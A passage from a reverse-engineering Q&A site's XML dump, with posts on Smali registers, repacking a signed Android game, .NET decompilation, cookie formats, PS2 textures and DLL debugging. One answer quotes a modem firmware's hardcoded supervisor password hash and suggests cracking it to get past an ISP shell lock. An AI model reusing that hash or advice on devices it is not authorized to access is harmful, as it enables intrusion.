  <row Id="15557" PostTypeId="2" ParentId="15555" CreationDate="2017-06-15T04:17:58.950" Score="2" Body="&lt;p&gt;In Dalvik, intermediate values are stored in &quot;registers&quot;, which you can think of as being like local variables, except that they are numbered instead of named and they can have different types at different points in the method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you write&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const-string v0, “PARAMETER:” &#xA;invoke-static {v0, p1}, Landroid/util/Log;-&amp;gt;e(Ljava/lang/String;Ljava/lang/String;)I&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code does two things. First it stores the literal string &quot;PARAMETER:&quot; in register 0 (referred to as &lt;code&gt;v0&lt;/code&gt;) and then passes the values in registers &lt;code&gt;v0&lt;/code&gt; and &lt;code&gt;p1&lt;/code&gt; as the arguments to Log.e(). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bytecode level, registers are just a flat array, but the last few registers are special because that is where the parameters are passed upon entry to the method. Therefore, Smali provides syntax sugar for dealing with parameters. In this case, there are two local variables, so the parameters start at register 2. &lt;code&gt;p0&lt;/code&gt; is just an alias for &lt;code&gt;v2&lt;/code&gt; and &lt;code&gt;p1&lt;/code&gt; is just an alias for &lt;code&gt;v3&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: by convention, the parameter registers are left untouched, but they are registers like any others, and you can store different things in them if you want to. The reason your code works is because &lt;code&gt;p1&lt;/code&gt; contains the second parameter at the start of the method (the first parameter, &lt;code&gt;this&lt;/code&gt;, is stored in &lt;code&gt;p0&lt;/code&gt;), and nothing stores to it, so it still contains the value you want when control reaches your log statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, it's not any different if you want to log the value in a different register, you just name a different register as the argument to Log.e(). In this case, the value you want is stored in register 1, so you should do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;invoke-static {v0, v1}, Landroid/util/Log;-&amp;gt;e(Ljava/lang/String;Ljava/lang/String;)I&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2017-06-15T04:17:58.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15560" PostTypeId="1" CreationDate="2017-06-15T14:43:40.013" Score="0" ViewCount="145" Body="&lt;p&gt;I am a noob in this field. I have reverse engineered an Android game to hack it but I can only install the game if it was not digitally signed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the game is digitally signed, I am unable to install it on my android device (No root device). I know that signature verification can be bypassed in root devices. But I need to know that could it de done in No Root devices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please point me in right direction&lt;/p&gt;&#xA;" OwnerUserId="20561" LastActivityDate="2017-06-15T19:07:35.620" Title="Is it possible to Reverse Engineer digitially signed android game &amp; then repack it" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15562" PostTypeId="2" ParentId="15560" CreationDate="2017-06-15T16:54:29.900" Score="1" Body="&lt;p&gt;You can disable trusted source application limitation through the settings menu for every mobile device you want the application executed on, and then you should self-sign your application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.androiddevelopment.org/tag/apk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; blog post explains how to self-sign an apk &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-06-15T19:07:35.620" LastActivityDate="2017-06-15T19:07:35.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15564" PostTypeId="2" ParentId="15551" CreationDate="2017-06-16T10:34:10.680" Score="5" Body="&lt;p&gt;The file &lt;code&gt;decrypter.dll&lt;/code&gt; is a .NET dll which (if it's not obfuscated) means you can decompile it to full readable source code with tools like &lt;a href=&quot;http://www.red-gate.com/products/dotnet-development/reflector/&quot; rel=&quot;noreferrer&quot;&gt;Reflector&lt;/a&gt;, &lt;a href=&quot;https://www.jetbrains.com/decompiler/&quot; rel=&quot;noreferrer&quot;&gt;dotPeek&lt;/a&gt; or &lt;a href=&quot;http://www.telerik.com/products/decompiler.aspx&quot; rel=&quot;noreferrer&quot;&gt;JustDecompile&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a couple of links from my blog detailing how to use such tools:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.remkoweijnen.nl/blog/2017/03/14/modifying-net-application/&quot; rel=&quot;noreferrer&quot;&gt;Modifying a .NET Application&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.remkoweijnen.nl/blog/2013/05/30/redirect-registry-by-modifying-net-executable/&quot; rel=&quot;noreferrer&quot;&gt;Redirect Registry by Modifying .NET Executable&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you have the source code (easiest is to save the decompilation as Visual Studio Project) you can debug the dll code in Visual Studio when calling into the dll from PowerShell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/628h8.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/628h8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2017-06-16T10:34:10.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15565" PostTypeId="1" CreationDate="2017-06-16T15:29:26.343" Score="10" ViewCount="5259" Body="&lt;p&gt;first time post so please bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For days I have been trying to bypass a password my ISP has added to their remote CLI with no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Zyxel C1100Z DSL modem that I've purchased from my ISP and I have been trying to breakdown their newest firmware in order to bypass a new shell password feature they've implemented. The past firmware did not have this feature and simply allowed you to login via ssh/telnet and then type 'sh' to drop into a simple Busybox shell. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with the latest firmware, SSH seems to be severely broken/buggy, as does most of the CLI commands when you login over telnet (Cat,echo,netstat,etc.. do not function)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is a new feature, I have guessed that the password is either &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Hard-coded into a CLI binary&lt;/li&gt;&#xA;&lt;li&gt;Pulled from a configuration I have overlooked&lt;/li&gt;&#xA;&lt;li&gt;Pushed remotely from the ISP &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So far I have extracted the root-fs using binwalk and I've scoured many hours through each configuration, running strings to no end, I even tried to emulate MIPS using QEMU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running file on one of the binaries gives me:&#xA;&lt;code&gt;ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed the old firmware hoping to get an idea of how the system worked and thought some of this info might prove useful:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system type             : 963168MBV_17A&#xA;processor               : 0&#xA;cpu model               : Broadcom4350 V8.0&#xA;BogoMIPS                : 398.33&#xA;wait instruction        : yes&#xA;microsecond timers      : yes&#xA;tlb_entries             : 32&#xA;extra interrupt vector  : no&#xA;hardware watchpoint     : no&#xA;ASEs implemented        :&#xA;shadow register sets    : 1&#xA;core                    : 0&#xA;VCED exceptions         : not available&#xA;VCEI exceptions         : not available&#xA;unaligned exceptions            : 60561&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've begun decompiling binaries using &lt;a href=&quot;https://retdec.com/decompilation/&quot; rel=&quot;noreferrer&quot;&gt;https://retdec.com/decompilation/&lt;/a&gt; but that has't gotten me very far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have hosted the extracted firmware root in a git repo at &lt;a href=&quot;https://github.com/bwbryant1/CTL_C110Z&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bwbryant1/CTL_C110Z&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not asking for someone to do all of the work for me, mostly just some guidance as this is my first-attempt at reverse-engineering. Yes I have looked at past tutorials but none of the fit my firmware specifically and I have hit a brick wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does one add a password to a shell? I know you can with inittab but it doesn't seem like that is what they are doing. I have no idea where the shell password prompt gets called from but I do know the text for it is stored inside /lib/private/libcms_cli.so. But I am not sure what this is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit for clarification: I have ssh and telnet access but they do not give you access to the root-fs. It drops you into a kind of chrooted environment with limited capabilities. However, by typing &quot;sh&quot; you are prompted with &quot;Please type in shell password:&quot; and it doesn't ask for a username, only a pass&lt;/p&gt;&#xA;" OwnerUserId="20574" LastEditorUserId="20574" LastEditDate="2017-06-17T06:20:57.467" LastActivityDate="2019-05-15T06:45:29.380" Title="Reverse Engineering ZyXel C1100Z modem firmware" Tags="|disassembly|firmware|linux|embedded|mips|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15566" PostTypeId="1" CreationDate="2017-06-16T15:41:11.703" Score="3" ViewCount="333" Body="&lt;p&gt;When I read the radare2 book here: &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://radare.gitbooks.io/radare2book/content/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It said it support MSIL: &quot; _d 16 32 64 msil PD .NET Microsoft Intermediate Language &quot; However, when I git clone current version and compile it. It doesn't show this option. Did it remove the support of .NET from some version?&lt;/p&gt;&#xA;" OwnerUserId="20576" LastActivityDate="2017-09-02T17:28:27.793" Title="Did radare2 remove support of MSIL from some version?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15567" PostTypeId="2" ParentId="15341" CreationDate="2017-06-16T17:19:45.893" Score="3" Body="&lt;p&gt;This is not self-modifying code.  This snippet just jumps to a pointer loaded from memory (most likely a GOT entry):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ADR             R12, 0x1FE8           ;R12=0x1FE8  &#xA;    ADD             R12, R12, #0x12000    ; R12 +=0x12000-&amp;gt;R12=0x13FE8&#xA;    LDR             PC, [R12,#0xF68]!     ; PC= *(R12+0xF68)=*(0x14F50)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is a typical code for a &lt;a href=&quot;https://stackoverflow.com/questions/5469274/what-does-plt-mean-here&quot;&gt;PLT stub entry&lt;/a&gt;. You will need to check what is present at that address in the binary and see where it finally jumps.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-06-16T17:19:45.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15568" PostTypeId="1" CreationDate="2017-06-16T19:30:00.503" Score="0" ViewCount="3496" Body="&lt;p&gt;I am trying to decrypt or unpack a .dat file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a variety of methods, but do not work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When opened in notepad the text would look like these:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;luRd+WbiiNGDNgs3XLX1fA==&#xA;vtAQlLx3N6HybkYYif3pAg==&#xA;vtAQlLx3N6HybkYYif3pAg==&#xA;9JdxXwwekody7R71sJfnNg==&#xA;Uc2tKVnaE9D7i9a7I5mkSg==&#xA;no/LjqdIt463AtcpQ3HsNQ==&#xA;y8edTmrN2DasIp5AbRhSUA==&#xA;TXAti7Yp0C9B2bK7UGJ2Dw==&#xA;CFIITpQZwsSoM9ZRz4x7IQ==&#xA;tqDfa0PwuuhGTZ2QHHAZCw==&#xA;uzxYGNWfX7JqeC+1n0Pq5A==&#xA;0sU/IzBFJMa9xkZhj8nIUQ==&#xA;2dGY80seATuhk6O4+Alrkw==&#xA;MVoF0e786ixjif16qPv6VA==&#xA;pqj/HI3lDFP2VleCCIMUdA==&#xA;UdsYwz9HtyLMsBUz9iyMPg==&#xA;AVN3BgbF2qXd1YfVEFtxVg==&#xA;oCV8hqcsLQ3EEeXpLtxCIg==&#xA;/YZ7shCsYom8ZQ7/B0gcdQ==&#xA;Z5ST8wcMKhoJ9RuSUwW9aQ==&#xA;0lXdME9JNBM4TCx7woZEmQ==&#xA;AVN3BgbF2qXd1YfVEFtxVg==&#xA;oCV8hqcsLQ3EEeXpLtxCIg==&#xA;/YZ7shCsYom8ZQ7/B0gcdQ==&#xA;Z5ST8wcMKhoJ9RuSUwW9aQ==&#xA;0lXdME9JNBM4TCx7woZEmQ==&#xA;0lXdME9JNBM4TCx7woZEmQ==&#xA;5OeHvEhFCCVmhxCJziWlTw==&#xA;CfT8HqIeXvgmcG3v5lZFWA==&#xA;dNENzvuEtRQZ2JBSCfxf7Q==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="20578" LastEditorUserId="2147" LastEditDate="2017-06-16T20:31:50.847" LastActivityDate="2017-06-16T20:31:50.847" Title=".dat file how to Encryption and decryption?" Tags="|decryption|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15569" PostTypeId="2" ParentId="15568" CreationDate="2017-06-16T20:28:41.193" Score="1" Body="&lt;p&gt;This is base64-encoded data, however data underneath it is unintelligible without further reverse engineering. How about reading the code that parses that data? an entry point could easily be base64 decoding/encoding functions&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-06-16T20:28:41.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15570" PostTypeId="2" ParentId="15565" CreationDate="2017-06-16T22:12:43.970" Score="5" Body="&lt;p&gt;The password seems to be generated dynamically from /etc/profile&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...&lt;br&gt;&#xA;   # generate login files&lt;br&gt;&#xA;   echo &quot;supervisor:3Gnc.CJE1790M:0:0:Administrator:/:/bin/sh&quot; &gt; /var/passwd&lt;br&gt;&#xA;   echo &quot;root::0:root,supervisor,support,user&quot; &gt; /var/group&lt;br&gt;&#xA;   ...&lt;br&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would need to try to crack the DES hash with a program like John the Ripper or replace it with another known password or nothing.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2017-06-16T22:12:43.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15571" PostTypeId="1" CreationDate="2017-06-17T01:07:12.940" Score="3" ViewCount="2418" Body="&lt;p&gt;I've spent a lot of time on this and I have made a lot of progress, but there is several problems to solve still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this old PS2 game and, as any curious person would, I put the disc in my computer and opened up data files in my hex editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a lot of digging around I found a texture file format embedded in larger container files. I extracted these textures using a hacked together python script, and managed to reverse engineer a lot of the file. NOTE: It is in little endian. I then proceeded to write c++ code that parses these files and then uses imagemagick to convert them to jpg or png.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images themselves use indexed colour, that is it has a palette of colours and uses an index to refer to them. The size of the palette in all images i've found so far is always 1024 bytes (256 colours) and is appended to the end of the image data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the tricky parts of this for me is that the alpha values are confusing. They seem to be between 0 and 0x80 (128 in decimal) but I don't know how to deal with them. If I overwrite all alpha values to 0xFF the image comes out fine with no 'real' alpha channel, but I need to eventually be able to parse it so I can get the exact original images back. Leaving the alpha values as is makes the conversion fail technically, the image looks undesirable.&#xA;Here is an example of what i mean:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/R8lds.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/R8lds.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the current structures that I've managed to reverse engineer and code into my parser so far&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct Header&#xA;{&#xA;    char header[4];&#xA;    unsigned long imageOffset;&#xA;    unsigned long paletteOffset;&#xA;    unsigned long fileSize;&#xA;    unsigned short width, height;&#xA;    char unknowndata[10];&#xA;    unsigned short id;&#xA;};&#xA;&#xA;union colourU{&#xA;    unsigned long hex;&#xA;    unsigned char rgba[sizeof(long)];&#xA;};&#xA;&#xA;struct Palette&#xA;{&#xA;    colourU colour[256];&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I recently made some headway in reversing the unknown data in the header, but it's not much.&#xA;Here is a sample of a header&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;4B 32 54 78 20 00 00 00 20 00 01 00 20 04 01 00&#xA;00 01 00 01 00 00 00 00 05 00 05 00 00 00 02 00&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first four bytes &lt;code&gt;4B 32 54 78&lt;/code&gt; is a magic string 'K2Tx'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there is the imageOffset &lt;code&gt;20 00 00 00&lt;/code&gt; and paletteOffset &lt;code&gt;20 00 01 00&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fileSize &lt;code&gt;20 04 01 00&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there is &lt;code&gt;00 01&lt;/code&gt; and &lt;code&gt;00 01&lt;/code&gt; which is width and height of the image (256x256)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unknown bytes section is 0xA bytes long which is divisible by 2, but not 4. which says to me that its either shorts or something else. I am unsure how to really understand these bytes without getting into the game code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping someone might be able to help me by pointing me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this work was done just by observing many different sample files, I really didn't want to get out a disassembler and look at the code, although I may have to at some point. (Its MIPS III)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need a full file sample let me know&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--- UPDATE ---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've decided to name the game - it's Tenchu: Fatal Shadows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After messing around with emulator and cheat engine, managed to uncover some things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first two bytes of the unknown data is actually some sort of pixel x rotation, and then the next two are the y rotation. When i changed them, the texture pixels would change pixel positions on the screen (rotated within their bounds). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might not be that important as they are usually set to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next two bytes and two bytes after that are both shorts, but I am not sure exactly what they do. When I change them the whole texture goes strange and it corrupts some of the memory within the game itself, perhaps some sort of or offset or array index. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing as these may only has use within the game's memory context, I will ignore these for now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last two bytes of the originally unknown chunk are simply some sort of interleave flag (a guess) which is TRUE if it is set as 0x02 or in binary b10&#xA;Which is interesting, because i have found a few textures which are in that format. Usually those are the ones used on 3d models ingame.&#xA;Here is 2 jpg examples of these &lt;a href=&quot;https://i.stack.imgur.com/SPzgn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/SPzgn.jpg&lt;/a&gt;&#xA;Perhaps some sort of pixel interleaving?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a link to a sample in the comments&lt;/p&gt;&#xA;" OwnerUserId="19064" LastEditorUserId="19064" LastEditDate="2017-07-01T04:16:09.333" LastActivityDate="2017-07-01T04:16:09.333" Title="Reverse engineering ps2 game texture file format - got most of it but a few issues" Tags="|file-format|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15572" PostTypeId="1" AcceptedAnswerId="15796" CreationDate="2017-06-17T07:26:46.740" Score="11" ViewCount="28257" Body="&lt;p&gt;I have a 64 bit application that when runs will load a dll (plugin) I want to debug only this plugin, I have tried setting x64dbg to break on dll load, but two issues, this app loads hundreds of other dlls, and when I do get to my dll and try and step through I seem to get stuck in ntdll.dll rather than the one of my interest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there are a better way of doing this? or any other debugger that is better suited for this job? I do have IDA pro aswell but I am more familiar with the olly/x64 program.&lt;/p&gt;&#xA;" OwnerUserId="20507" LastActivityDate="2017-07-10T02:28:37.500" Title="x64dbg how to debug a DLL called from an application" Tags="|debugging|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15573" PostTypeId="1" AcceptedAnswerId="15575" CreationDate="2017-06-17T13:06:34.780" Score="0" ViewCount="275" Body="&lt;p&gt;I am new to the world of reverse engineering and have been recommended by a number of people that I should start with IA32 because it is easier to learn the concepts. Aside from differences in the number of registers, what are the key differences between a 32bit system compared to a 64bit system. &lt;/p&gt;&#xA;" OwnerUserId="20567" LastEditorUserId="20567" LastEditDate="2017-06-17T13:23:25.030" LastActivityDate="2017-06-17T17:42:44.810" Title="Why is using a 32bit system over 64bit recommended for people that are new to reverse engineering?" Tags="|x86|x86-64|" AnswerCount="1" CommentCount="2" ClosedDate="2017-06-20T07:18:19.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="15575" PostTypeId="2" ParentId="15573" CreationDate="2017-06-17T17:42:44.810" Score="1" Body="&lt;p&gt;Short answer : Because it's an easier place to start .X64 allows for an extended instruction set , more access to memory and more allocation space in pretty much everything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long Answer:&#xA;I wouldn't necessarily say that to start using a x86 system is a good way to start . I would say though , that starting with an x86 binary is a good area to start with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Historically, going from 8 to 16 to 32 has added more and more instructions with each new addition of an architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend learning x86 as a start:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Because it's simple and is still used. There are many things written in x86, a lot of the exploits of APIs or were written upon the shoulders of giants of that time... &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can continue to use x86 in your x64 machine as x64 is just an extension of x68.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's easier to read and you will deal with simpler  value sizes.The way things are accessed .The amount of space that can be accessed is largely increased. With the two architectures, there are different ways of doing calls. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll need to learn x64 anyway as it's the next step in evolution. You'll appreciate it when you run into things with x86. Some things might include the amount of registers that you can use. Another might be instructions that allow you to access certain registers differently or in a more readable way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like this might have been answered previously here:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/7635013/difference-between-x86-x32-and-x64-architectures&quot;&gt;https://stackoverflow.com/questions/7635013/difference-between-x86-x32-and-x64-architectures&lt;/a&gt;&#xA;&lt;a href=&quot;https://superuser.com/questions/56540/32-bit-vs-64-bit-systems&quot;&gt;https://superuser.com/questions/56540/32-bit-vs-64-bit-systems&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other links to read:&#xA;&lt;a href=&quot;http://www.techsupportalert.com/content/32-bit-and-64-bit-explained.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.techsupportalert.com/content/32-bit-and-64-bit-explained.htm&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/X86-64&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/X86-64&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2017-06-17T17:42:44.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15577" PostTypeId="1" AcceptedAnswerId="15585" CreationDate="2017-06-18T00:08:19.093" Score="1" ViewCount="2356" Body="&lt;p&gt;I am using a website whose cookies are as following (when I'm as a guest at 3 different instances in increasing order of time) :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;eyJ0YWxrX3N0YXRlIjowfQ\075\075|1497742098|514507d23a215fcea83c80608ba67ce4a4946a6e&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;eyJ0YWxrX3N0YXRlIjowfQ\075\075|1497742995|a2d97bc48c9411e7afd09fd554646e1f63c30c54&lt;/code&gt;   &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;eyJ0YWxrX3N0YXRlIjowfQ\075\075|1497743233|b01171747934f116c7a3af5c1a3bde989f69e03d&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I logged in from 2 different account it changed to following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;First account -&quot;eyJ1c2VyX2lkIjoiMTE1Mjg2ODM5OTMyMzI1ODA5OTg4IiwidXNlcl9uYW1lIjoiU2FtIiwidGFsa19zdGF0ZSI6MH0\075|1497741945|7a7904970733851fc11eaa5ee456c4ee939f510f&quot;&#xA;&#xA;Second account - &quot;eyJ1c2VyX2lkIjoiMTA3NjYzODAwMzg1MDkxODU5MzAwIiwidXNlcl9uYW1lIjoiQ3JhenlSdWciLCJ0YWxrX3N0YXRlIjowfQ\075\075|1497742305|2666b0847f1042c1d40769a19ae11741b82551bb&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't make out anything out of it except the fact that &lt;code&gt;|1497742305|&lt;/code&gt; seem to be sort of timestamp. I have tried md5, base64 but neither of the string has any of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What encryption is used ? How can I extract information from it ?&#xA;Can someone help me out , I am new to all this.&lt;/p&gt;&#xA;" OwnerUserId="20588" LastEditorUserId="2147" LastEditDate="2017-06-18T01:14:32.137" LastActivityDate="2017-06-19T06:45:27.393" Title="Understanding hashing in cookies" Tags="|websites|hash-functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15578" PostTypeId="1" CreationDate="2017-06-18T02:11:20.753" Score="2" ViewCount="1363" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZJvpq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZJvpq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ollydbg isn't displaying the full info for me sometimes. (I want to see the function names like on the left side)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get it to display the function names all the time?&lt;/p&gt;&#xA;" OwnerUserId="20589" LastActivityDate="2017-07-19T15:10:08.303" Title="Ollydbg not displaying full info" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15579" PostTypeId="1" CreationDate="2017-06-18T02:45:38.633" Score="2" ViewCount="360" Body="&lt;p&gt;I know that &lt;code&gt;shl&lt;/code&gt; instruction is like the &lt;code&gt;mul&lt;/code&gt; operation and the &lt;code&gt;shr&lt;/code&gt; instruction is like the &lt;code&gt;div&lt;/code&gt; operation and it's used for optimization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;code&gt;shl eax, n&lt;/code&gt; is a more efficient way to implement &lt;code&gt;eax = (eax)*(2^n)&lt;/code&gt; without any multiplication instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am reading about &lt;code&gt;rol&lt;/code&gt; and &lt;code&gt;ror&lt;/code&gt; assembly instructions and I got how it works, but I don't know what is the point of the rotation operation in general and when to use it?&lt;/p&gt;&#xA;" OwnerUserId="20356" LastEditorUserId="2147" LastEditDate="2018-07-12T10:52:12.210" LastActivityDate="2018-07-12T21:02:58.180" Title="What is the need of the Rotation Operation?" Tags="|assembly|x86|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="15580" PostTypeId="2" ParentId="15572" CreationDate="2017-06-18T05:03:18.097" Score="4" Body="&lt;p&gt;There are several easy steps to do it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have a source code, you can create a very basic endless loop at the beginning of your code and once this dll will load, hitting a break will eventually bring you to that loop. At that point you can just manually step out from it and continue your debugging.&lt;/li&gt;&#xA;&lt;li&gt;If you do not have a source, the you can patch the dll at the entry point with &lt;code&gt;0xcc&lt;/code&gt; for break point or &lt;code&gt;0xEB 0xFE&lt;/code&gt; (&lt;code&gt;jmp 0x0&lt;/code&gt;) for endless loop. In the case of break point opcode, you will trigger debugger on execution. In the second case, you can do what I've described previously.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for patching you can use any hex editor. &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;CFF Explorer&lt;/a&gt; could be very convenient for that where it can point you to entry point and with internal hex editor 